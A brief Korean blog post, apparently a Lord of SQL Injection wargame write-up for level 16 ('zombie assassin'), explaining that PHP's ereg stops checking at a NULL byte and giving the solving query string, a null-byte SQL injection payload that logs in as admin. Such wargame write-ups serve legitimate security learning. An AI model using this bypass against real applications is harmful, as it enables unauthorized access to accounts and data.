반응형 null1 [LOS] 16. zombie assassin ereg 함수 취약점 ereg는 뒤에 NULL 문자를 만나게 되면 더 이상 문자열을 체크하지 않음 NULL %00 ?id=admin&pw=%00a%27or%20id=%27admin 입력 시 해결되는 것을 알 수 있다. 2020. 8. 8. 이전 1 다음 반응형
